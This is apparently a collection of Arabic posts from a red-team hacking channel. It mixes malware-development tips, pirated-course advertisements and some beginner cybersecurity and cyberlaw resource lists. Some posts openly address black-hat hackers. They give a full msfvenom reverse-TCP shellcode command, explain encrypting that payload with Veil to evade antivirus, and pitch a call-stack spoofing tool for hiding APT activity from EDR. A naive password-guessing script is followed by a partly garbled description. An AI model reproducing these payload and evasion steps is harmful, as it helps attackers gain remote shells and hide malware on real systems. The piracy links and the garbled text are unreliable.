RED TEAM CYBERSECURITY-SM🇪🇬

import itertools
import string

def password_guesser(username, password_file, max_length):
    with open(password_file, 'r') as f:
        passwords = [line.strip() for line in f.readlines()]

    for r in range(1, max_length + 1):
        for attempt in itertools.product(string.ascii_letters + string.digits, repeat=r):
            attempt = ''.join(attempt)
            if attempt in passwords:
                print(f"Possible password for {username}: {attempt}")

username = input("Enter the username: ")
password_file = input("Enter the password file: ")
max_length = int(input("Enter the maximum password length: "))

password_guesser(username, password_file, max_length)

سكربت نصي بسيط يستخدم هجوم القاموس لتخمين كلمات المرور: يأخذ هذا البرنامج النصي اسم مستخدم وملف كلمة مرور والحد الأقصى لطول كلمة المرور كمدخلات. ثم يقوم بعد ذلك بإنشاء جميع المجموعات الممكنة من الأحرف والأرقام حتى الحد الأقصى للطول والتحقق مما إذا كانت موجودة في ملف كلمة المرور. فيما بعد نص برمجي بسيط يستخدم القاموس لاختبار كلمات المرور: يستفيد هذا النصي اسم المستخدم وملف كلمة المرور القصوى لطول كلمة المرور كمدخلات. ثم يقوم بعد ذلك بوجود جميع المجموعات الفندقية من المشاهير والأرقام حتى الحد الأقصى للطول والتحقق مما إذا كانت موجودة في ملف كلمة المرور. وبس والله 😊

[ Specialized Penetration Testing ] Sec760 - Advanced Exploit Development for Penetration Testers Price = 7600 $ Year: 2020

#حصريا 💥 باللغة العربية ☄️ Odoo development [Arabic] برمجة أودو بالعربي الكورس الكامل لتعلم تطوير و برمجه أودو بالعربي ، من التعديل علي تطبيقات أودو الأساسية إلي بناء تطبيقات كاملة إضافية. ============ الكورس مكون من عدة نقاط وهي 1- أولا سنتعلم تحميل و تثبيت بيئه عمل الأودو علي جهازك لكي تكون مستعد لعمليات التطوير و البرمجه 2- سنتعلم التعديل علي شاشات الأودو الأساسية لجعل التطبيقات الموجوده أكثر ملائمه لسوق العمل 3- سنتعلم بناء تطبيقات كاملة إضافية و ربطها بالتطبيقات الأساسية 4- سنتعلم بناء التقارير و تصميمها عبر بيئة عمل التقارير QWEB 5- ستنعلم عمل ال APIs أو طرق ربط تطبيقات الأودو بالعالم الخارجي و التطبيقات الأخري 6- ستنعلم بيئة العمل الجديدة الخاصة بالأودو وهي ال OWEL و الخاصة بلغه جافا سكريبت 7- سنقوم بإستخدام لغات Python , JavaScript , XML و سنتعلم مهارات جديده في تلك اللغات خلال هذه الدورة كل هذا و أكثر سنتعلمة خلال رحلتنا في تعلم برمجه و تطوير أنجح تطبيق مفتوح المصدر في العالم وهو الأودو ========== مدة الكورس 🕙 : 17 ساعة التقييم : 4.3/5 ⭐️ الجودة : 1080p-MP4 الحجم الكلي : 8.27GB الكورس بآخر تحديث 12/2024 الرابط : https://linkjust.com/33SkI6eTr7 كلمة فك الضغط :

@WinDroidPremium

الـ Runtime بشكل عام هو المصطلح اللي بنستخدمه عشان نصف الوقت اللي فيه البرنامج بيشتغل بعد ما يتم تنفيذه يعني لما تشغل أي برنامج على الكمبيوتر بتاعك أو حتى على الموبايل البرنامج ده بيكون ليه مرحلة اسمها Runtime المرحلة دي بتبدأ من اللحظة اللي بتضغط فيها على أيقونة تشغيل البرنامج لحد ما تقفل البرنامج بالكامل يعني طول الفترة دي اللي فيها البرنامج شغال على جهازك دي بنسميها Runtime في الفترة دي بيحصل حاجات كتير زي تنفيذ الأكواد والعمليات الحسابية والتفاعل مع المستخدم وأي حاجة تانية البرنامج بيعملها خلال التشغيل المعلومات دي بتكون مهمة جداً لأي هكر لأنه في الفترة دي بيكون عنده القدرة إنه يدخل على النظام ويعمل تغييرات أو يستغل ثغرات موجودة في البرنامج أو النظام. بنشوف الهكرز بيسعوا دايمًا يستغلوا المرحلة دي عشان يعملوا هجمات أو يدخلوا على بيانات حساسة واحدة من الطرق الشهيرة هي إنهم يستخدموا المالوير اللي هو البرامج الضارة المالوير ده بيشتغل في الـ Runtime وبرنامج المالوير ممكن يبقى مجرد ملف صغير بيتنفذ أول ما الضحية يشغله وبيبدأ يعمل حاجات كتير في الخلفية بدون ما المستخدم يحس زي إنه يعدل في ملفات النظام أو يسرق بيانات زي الباسوردات أو معلومات شخصية أو حتى يراقب اللي المستخدم بيعمله على الجهاز المالوير ممكن كمان يستخدم الـ Runtime عشان يثبت نفسه في النظام ويبدأ يشتغل بشكل مستمر كل ما الجهاز يتفتح أو حتى يعمل تعديلات في البرامج التانية ويخليها تشتغل بطريقة مختلفة أو تضيف وظائف جديدة بدون ما حد ياخد باله. الـ Runtime بيبقى مهم جداً كمان لأنه بيديك فكرة عن الأداء والأمان في البرامج يعني في البرامج الكبيرة زي اللي بنستخدمها في الشركات أو حتى الألعاب الكبيرة بنلاقي إنهم بيعملوا اختبارات للـ Runtime عشان يشوفوا الأداء إذا كان فيه مشاكل أو بطء أو حتى ثغرات أمنية ممكن تستغلها الهكرز عشان يدخلوا على النظام لذلك في شركات كتير بتركز على تحسين الأداء والأمان في فترة الـ Runtime وده بيكون عن طريق تحديثات مستمرة وإصلاحات للثغرات وتحسينات في الأداء ده معناه إنك لو هكر بتدور على استغلال البرامج هتلاقي إن في مرحلة الـ Runtime فرص كتير تقدر تستغلها خصوصاً لو البرنامج مش بيتحدث بشكل دوري أو فيه ثغرات معروفة. واحد من الأمثلة الشهيرة على استغلال الـ Runtime في المالوير هو فيروس Stuxnet الفيروس ده كان واحد من أخطر الفيروسات اللي استهدفت أنظمة التحكم الصناعي في محطات الطاقة النووية الفيروس ده كان بيشتغل في الـ Runtime وبيعدل في العمليات اللي بتتم في الخلفية بدون ما حد ياخد باله لدرجة إنه كان بيقدر يتحكم في المعدات الصناعية ويغير في سرعتها أو حتى يوقفها تماماً بدون ما يظهر أي شيء غير طبيعي للمستخدمين الفيروس ده بيعتبر مثال قوي على إزاي المالوير بيقدر يستغل الـ Runtime عشان يعمل حاجات خطيرة جداً بدون ما حد يقدر يكتشفه بسرعة. بالتالي فهم الـ Runtime واستخدامه بشكل صحيح بيديك ميزة كبيرة سواء كنت مطور برامج وعاوز تحسن الأداء والأمان أو حتى لو كنت هكر وبتدور على ثغرات تقدر تستغلها عشان تدخل على أنظمة وتحقق أهدافك بشكل فعال طبعاً ده بيحتاج منك إنك تكون ملم بالتفاصيل التقنية وتفهم إزاي تقدر تستغل كل جزء من البرنامج والنظام خلال فترة الـ Runtime عشان تحصل على أفضل نتائج وتحقق أهدافك بطريقة ذكية وفعالة.

الكورس المعروض على منصة Udemy بعنوان "Antivirus Evasion Hard Core" بيستهدف تقديم محتوى متخصص لكل الهاكرز المهتمين بتطوير مهاراتهم في تجاوز أنظمة الحماية والـAntivirus بطريقة علمية وممنهجة والهدف الأساسي من الكورس ده إنه يعلمك إزاي تتجنب اكتشاف البرمجيات الخبيثة أو المالوير عن طريق برامج مكافحة الفيروسات اللي بتعتمد على تقنيات زي الـSignatures والـBehavioral Analysis والـHeuristic Detection علشان تكشف أي تهديد محتمل الكورس بيشرح بشكل عميق إزاي تقدر تكتب كود برمجي يكون صعب اكتشافه وده بيتحقق عن طريق فهم طريقة عمل برامج مكافحة الفيروسات واستغلال نقاط ضعفها زي إنك تستخدم Obfuscation Techniques علشان تخفي الكود أو تغير الـExecution Flow بتاع البرنامج المالوير نفسه وده بيعتبر أساسي لأي شخص مهتم بتخطيط الـAdvanced Persistent Threats أو الـAPT و في نفس الوقت الكورس بيهتم جدًا بتطوير الفهم الأساسي للتقنيات الجديدة اللي بتستخدمها شركات الحماية وبيشرح إزاي تتجنب تقنيات زي الـSandbox Detection والـRuntime Analysis وكمان بيغطي مواضيع زي الـPE Header Manipulation والـEncryption والـPacking اللي بتسمحلك إنك تطور مالوير بيقدر يتخطى حتى أقوى برامج الحماية الحديثة أهمية الكورس لأي هاكر مش مجرد إنه بيشرح الأدوات والتقنيات لكنه كمان بيعلمك العقلية اللي تخليك تفكر زي الباحثين في الأمن السيبراني اللي بيطوروا الحلول وده بيعني إنك هتكون دايمًا سابق خطوة قدام المنافسين الكورس كمان بيغطي إزاي تقدر تطور أساليبك بشكل مستمر علشان تتأقلم مع التغيرات اللي بتحصل في مجال الحماية والأمن السيبراني واللي هو مجال دايم التطور وده بيخليك قادر دايمًا على التخطيط للـAPT بفعالية عالية سواء كنت بتشتغل على اختبارات اختراق قانونية أو حتى لو كنت بتستخدم المهارات دي في بيئة هجومية متقدمة وده بيضيف ليك قيمة كبيرة كهاكر لأنك مش بس بتبقى فاهم الأدوات لكن كمان بتبقى قادر على التفكير زي المطورين اللي بيحاولوا يوقفوك ده رابط الكورس

شرح التطبيق المطلوب

و كمان خلينا نكمل ونضيف جزئية الـVEIL عشان تكون المعلومة متكاملة ومفيدة ليك كهاكر محترف في تطوير البرمجيات الخبيثة. زي ما قولنا قبل كده، الـshellcode هو جزء مهم جدًا من الهجوم لكن في نفس الوقت لازم نكون عارفين إن الـAntivirus والـIDS/IPS systems ممكن تكتشفه بسهولة عشان كده لازم نفكر في طرق لتجنب الكشف وهنا ييجي دور أدوات زي Veil. عشان نبدأ باستخدام Veil، لازم تكون عندك الأداة مثبتة على النظام بتاعك وده بيتم عن طريق تحميلها من الـGitHub وتشغيلها على الجهاز بتاعك بعد ما تثبتها وتجهزها هنفتح الأداة باستخدام الأمر:

veil

بعد ما تفتح الأداة هتلاقي واجهة تفاعلية بتسمح لك باختيار الـpayload اللي عاوز تستخدمه وكمان الصيغة اللي عاوز تشفر بيها الكود مثلا لو عاوز تشفر الـshellcode اللي تولدناه قبل كده ممكن نختار نوع التشفير المناسب ونحدد الـpayload وبعد كده نضغط على توليد الكود الأداة هتقوم بتشفير الكود وتوليد ملف جديد بصيغة جاهزة للاستخدام والحقن. على سبيل المثال لو استخدمنا نفس الـpayload اللي اتولد قبل كده باستخدام msfvenom ممكن نحطه في Veil ونعمله تشفير بالطريقة اللي تناسبنا وده هيضمن إن الكود بتاعنا مش هيتم اكتشافه بسهولة عن طريق برامج الحماية. دلوقتي بعد ما شفرنا الكود باستخدام Veil هنلاقي إنه بقى أصعب على الـAntivirus إنه يكتشفه وده هيساعدنا في تنفيذ الهجوم بنجاح من غير ما يتم كشفه بسهولة. بكده نكون كملنا الصورة ووضحنا إزاي نستخدم Veil جنب msfvenom عشان نولد وندمج ونتجنب اكتشاف الـshellcode ده هيكون مفيد جدا في MALWARE DEV عشان تقدر تبني برمجيات خبيثة قوية وصعبة الكشف وتحقق أهدافك بشكل فعال. لازم دايما تكون مستعد تتعلم وتجرب أكتر عشان تطور مهاراتك وتبقى محترف في المجال ده وتكون على اطلاع بأحدث الأدوات والتقنيات المتاحة عشان تقدر تتعامل مع كل التحديات اللي ممكن تقابلك في الطريق.

لو عاوز تفهم ازاي تعمل shellcode باستخدام Metasploit بطريقة مبسطة ومفيدة كهاكر لازم نبدأ بشوية أساسيات أول حاجة Metasploit هو إطار عمل قوي جدا بيستخدم لاختبار الاختراق وتطوير البرمجيات الخبيثة واحد من أهم الأدوات اللي بتوفرها هي msfvenom اللي بتسمح لك بتوليد الـpayloads أو الشيفرات الخبيثة اللي هتستخدمها في الهجوم بتاعك shellcode ببساطة هو كود بيتم حقنه في ذاكرة الضحية عشان ينفذ أوامر معينة غالبا بتكون أوامر لفتح باب خلفي أو سرقة بيانات معينة أو حتى تحكم كامل في الجهاز دلوقتي عشان تولد shellcode باستخدام msfvenom هنستخدم الأمر ده:

msfvenom -p (payload) -a x86 -f c 

بس لازم تعرف إن ده مجرد مثال بسيط ولازم تكمل المعلومات عشان الكود يبقى شغال ومتكامل -p بيشير للـpayload اللي عاوز تستخدمه زي مثلا windows/shell/reverse_tcp ده payload بيفتح اتصال خلفي مع الجهاز المستهدف -a بيشير للمعمارية اللي الكود هيشتغل عليها زي x86 أو x64 حسب نوع النظام اللي بتهاجمه -f بيشير لصيغة الكود اللي هيتولد في المثال هنا صيغة C لكن ممكن تختار صيغ تانية زي python أو ruby أو حتى executable مباشرة مثلا الأمر الكامل ممكن يبقى كده:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -a x86 -f c 

هنا LHOST هي الـIP الخاص بالجهاز اللي انت عاوز تستقبل الاتصال عليه وLPORT هو البورت اللي هيتم عليه الاتصال دلوقتي بعد ما نفذنا الأمر ده هنلاقي الكود اتولد ونقدر ندمجه في أي برنامج أو حتى نحطه في exploit تاني حسب ما انت محتاج هنا ييجي دور الإبداع بتاعك عشان تعرف تحقن الكود ده في برنامج معين أو ملف تنفيذي لازم تكون عندك شوية مهارات في الهندسة العكسية وتحليل البرمجيات وكمان تكون فاهم الكود بتاع النظام اللي بتهاجمه بشكل كويس مثلا ممكن تستخدم أدوات زي OllyDbg أو IDA Pro عشان تفتح البرنامج اللي عاوز تحقن فيه الكود وتشوف النقاط اللي ممكن تحقن فيها الكود الجديد بالإضافة لكده ممكن تستخدم تقنيات زي الـNOP sleds أو البحث عن Buffer Overflows عشان تضمن إن الكود بتاعك هيتنفذ بنجاح وتتحكم في مسار التنفيذ اللي انت عاوزه دي كانت مقدمة بسيطة لكن لازم تكون فاهم إن ده مجال كبير ومعقد وبيتطلب دراسة وتجربة كتير لكن لو فهمت الأساسيات وبدأت تجرب هتلاقي نفسك بتطور وتفهم أكتر تدريجيا استخدام الـshellcode في تطوير البرمجيات الخبيثة أو MALWARE DEV بيعتبر واحد من أهم المهارات لأي هاكر محترف لإنه بيفتح لك أبواب كتير للوصول للأنظمة والتحكم فيها سواء كان الهدف بتاعك هو اختبار الاختراق أو تطوير برمجيات خبيثة عشان تبقى محترف لازم تستمر في التعلم والتجربة ودايما تكون على اطلاع بأحدث الأدوات والتقنيات في المجال ده.

ده لينكات لكورسات حلوة ومبسطة عن الأمن السيبراني كلها بالعربي وتقدر تبدأ منها 1. دورة معتمد الأمن السيبراني (ISC2 CC) شرح مبسط للمبتدئين عن أساسيات الأمن السيبراني: https://www.youtube.com/watch?v=WiYuS9ft78I 2. كورس الأمن السيبراني - مقدمة شاملة ده بيشرحلك بشكل بسيط ومناسب لأي حد بيبدأ في المجال: https://www.youtube.com/watch?v=RndPKjs2AcE 3. مقدمة في الأمن السيبراني والشبكات كورسات مركزة على المفاهيم الأساسية للشبكات والأمن السيبراني: https://www.youtube.com/watch?v=wNM9-n49v_Q 4. سلسلة مفاهيم الأمن السيبراني مجموعة فيديوهات قصيرة بالعربي تشرحلك كل الأساسيات: https://www.youtube.com/playlist?list=PLLlr6jKKdyK2QZD-Di3lshxSSrW67PRP_ 5. برنامج الأمن السيبراني من إدراك لو عايز حاجة منظمة، إدراك عاملين برنامج فيه كل حاجة من الصفر: https://www.edraak.org/programs/specialization/cs101-v1/ ابدأ بقى واتعلم واحدة واحدة، وهتلاقي نفسك فاهم المجال أكتر مع الوقت وبس والله 😊

لو عايز تتعمق في الجانب القانوني للأمن السيبراني الموضوع كبير ومهم جدًا لكن تقدر تبدأ فيه بخطوات بسيطة ومنظمة خلينا نتكلم شويه ونمشي خطوة خطوة 1. افهم القوانين اللي عندك في بلدك أول حاجة لازم تعرفها هي القوانين اللي بتنظم الجريمة الإلكترونية وحماية البيانات في بلدك زي مثلًا في مصر فيه قانون "مكافحة جرائم تقنية المعلومات" وفي السعودية فيه "نظام مكافحة الجرائم المعلوماتية" كمان لازم تبقى عارف القوانين الدولية زي اتفاقية "بودابست للجريمة الإلكترونية" واللائحة الأوروبية لحماية البيانات (GDPR). 2. اتعلم الأساسيات بتاعة الأمن السيبراني والقانون لازم تفهم شوية عن دور الأمن السيبراني في حماية البيانات وتأثيره على القوانين اسأل نفسك أسئلة زي: إيه اللي بيحصل قانونيا لما حد يهاجم شركة إلكترونيا؟ إيه القوانين اللي بتلزم الشركات تحمي بيانات عملائها؟ 3. خد شهادات متخصصة فيه شهادات ودورات هتفيدك جدًا زي: CISSP: فيها جزء بيتكلم عن الامتثال للقوانين CDPSE: دي مركزة أكتر على خصوصية البيانات فيه كمان كورسات أونلاين على مواقع زي Coursera وUdemy بتشرح القانون السيبراني بشكل بسيط 4. اقرأ كتب ومراجع في المجال دور على كتب متخصصة بتشرح القوانين السيبرانية وتأثير التكنولوجيا على القانون. فيه كتب زي Cybersecurity Law لـ Jeff Kosseff وفيه كتب بالعربي عن "الجريمة الإلكترونية" وحماية البيانات هتلاقيها في المكتبات أو أونلاين. 5. شارك في المجتمع المهتم بالقانون السيبراني حاول تحضر مؤتمرات أو ورش عمل عن الموضوع. انضم لجروبات على LinkedIn أو Reddit تناقش الموضوع ده التفاعل مع ناس شغالة في المجال هيفتح عينك على تفاصيل كتير 6. ابحث واكتب لما تفهم جزء كويس حاول تبحث عن مواضيع محددة وتكتب عنها زي: إزاي الذكاء الاصطناعي بيأثر على القوانين؟ العلاقة بين الخصوصية والأمن في التكنولوجيا ممكن تنشر أبحاثك أو مقالاتك على مواقع متخصصة. 7. تعامل مع حالات عملية دور على قصص حقيقية لهجمات إلكترونية وقارن بين القوانين اللي اتطبقت في كل حالة. لو تقدر تشتغل مع محامي أو مستشار قانوني شغال في المجال ده هيبقى تدريب عملي ممتاز. 8. اتعلم الأدوات القانونية فيه أدوات بتساعد الشركات تلتزم بالقوانين زي برامج إدارة الخصوصية أو أنظمة إدارة الامتثال القانوني اتعلمها واعرف إزاي بتشتغل لو مشيت بالطريقة دي هتلاقي نفسك بتتعلم بسرعة وبطريقة منظمة الموضوع محتاج صبر واستمرار يا وحش لكن مع الوقت هتكون ملم بكل حاجة تخص القانون السيبراني وبس والله ده كان كل حاجه 😊 ومتقلقش هديك روابط كورسات شرحها جميل ومبسط والافضل تحت الشرح ♥

مشروع CallStackSpoofer الموجود على GitHub هو أداة متخصصة في التلاعب بالـ Call Stack الخاص بالتطبيقات أثناء تشغيلها وهو جزء مهم جدًا لأي هكر سواء وايت هات أو بلاك هات وخصوصًا عندما نتكلم عن الهجمات المتقدمة زي APT الهجمات دي تعتمد على البقاء مختفيًا أطول فترة ممكنة داخل النظام والابتعاد عن أعين الـ EDR أو أنظمة كشف التهديدات الحديثة الفكرة الرئيسية للأداة هي أنها بتوفر إمكانية تعديل وإخفاء مسارات الاستدعاء Call Stack بحيث تجعل تتبع النشاط الضار أو تحليل البرامج الضارة أصعب بكتير على المحللين الأمنيين أو الأنظمة الدفاعية ولو حبينا نبسط ده فالأداة بتشتغل على التلاعب بمسارات الأكواد اللي بتشتغل داخل النظام بحيث لو حد حاول يحلل الأداة أو العملية الخبيثة اللي شغالة مش هيقدر يكتشف مكانها بسهولة الأداة بتشتغل بشكل أساسي من خلال استغلال قدرة البرامج على التحكم في مسار التشغيل runtime execution flow وده من خلال تقنيات زي الـ ROP Ret2Libc أو أي تقنيات مشابهة الهدف الأساسي هنا هو إنه يكون عندك قدرة إنك تبني كود خبيث ومش يظهر في أي تحليل إنه خبيث يعني لو حد بيراقب النظام مش هيشوف النشاط ده في الـ Logs أو في الأدوات اللي بتحلل المسارات لو بنتكلم عن بلاك هات هكر وفايدة الأداة بالنسبة لهم فهي هتكون أداة قوية جدًا عشان يدمجها في أي حملة اختراق متقدمة على سبيل المثال لو هنتكلم عن استغلال الثغرات Exploits اللي بتحتاج تحكم كامل في النظام الأداة دي ممكن تساعد في جعل التحليل الجنائي شبه مستحيل لأن مسارات الاستدعاء Call Stack كلها متغيرة ولو حد حاول يعمل Debugging أو حتى يقرأ معلومات من الـ Memory مش هيلاقي حاجة واضحة الفكرة هنا إنك بتخلق مستوى من الغموض حول العملية اللي شغالة كأنك بتمحي بصمتك من ناحية الأفكار اللي ممكن يضيفها البلاك هات على المشروع ممكن مثلًا يدمج تقنيات زي الـ Process Hollowing أو الـ DLL Injection مع الأداة بحيث تشتغل بشكل غير مباشر في النظام يعني بدل ما يكون فيه عملية وحدة مسؤولة عن كل حاجة الأداة ممكن تشتغل كجزء صغير داخل كذا عملية منفصلة وده هيزود التمويه أكتر كمان يمكن استخدام الأداة لتطبيق هجمات متقدمة زي الـ Thread Hijacking اللي بتسمح لك تسيطر على ثريد شغال بالفعل وتعدل مساره بدون ما النظام يحس لما نتكلم عن هجمات APT Advanced Persistent Threat فاستخدام الأداة بيكون محورى لإنها بتديك قدرة إنك تفضل داخل النظام لفترة طويلة بدون كشفك يعني ممكن تستخدمها في جمع البيانات الحساسة زي كلمات المرور أو بيانات الشبكة لفترة طويلة بدون ما أي حد يلاحظ ولو عايز تطورها أكتر ممكن تضيف لها قدرة تحليل تلقائي للسيرفرات اللي بتهاجمها بحيث تتعرف الأداة تلقائيًا على البرامج اللي شغالة فيها وتعدل Call Stack الخاص بها بناءً على طبيعة البرنامج المستهدف أي حد بيستخدم الأداة سواء في الاختراق أو الحماية محتاج يكون فاهم كويس جدًا إن تقنيات زي دي بتخلي التحليل العكسي عملية صعبة لكن مش مستحيلة لأن في تقنيات حديثة زي الـ AI-Based Threat Detection اللي بتشتغل على تحليل السلوك Behavior Analysis مش مجرد تحليل الأكواد والـ Call Stack وده بيخلي الحاجة لتطوير الأداة بشكل مستمر أمر مهم عشان تفضل خطوة قدام أنظمة الحماية رابط المشروع على git hub https://github.com/WithSecureLabs/CallStackSpoofer لمزيد من المعلومات عن الموضوع وبس والله 😊

مصدر المعلومات : https://stackoverflow.com/questions/30190132/what-is-the-shadow-space-in-x64-assembly https://en.m.wikipedia.org/wiki/X86_calling_conventions https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170 https://stackoverflow.com/questions/74223182/how-to-know-number-of-parameters-in-x86-64-assemblewindows https://cs61.seas.harvard.edu/site/2018/Asm2/ https://devblogs.microsoft.com/oldnewthing/20160623-00/?p=93735 https://sonictk.github.io/asm_tutorial/ https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame و اعتذر عن أي أخطاء املائية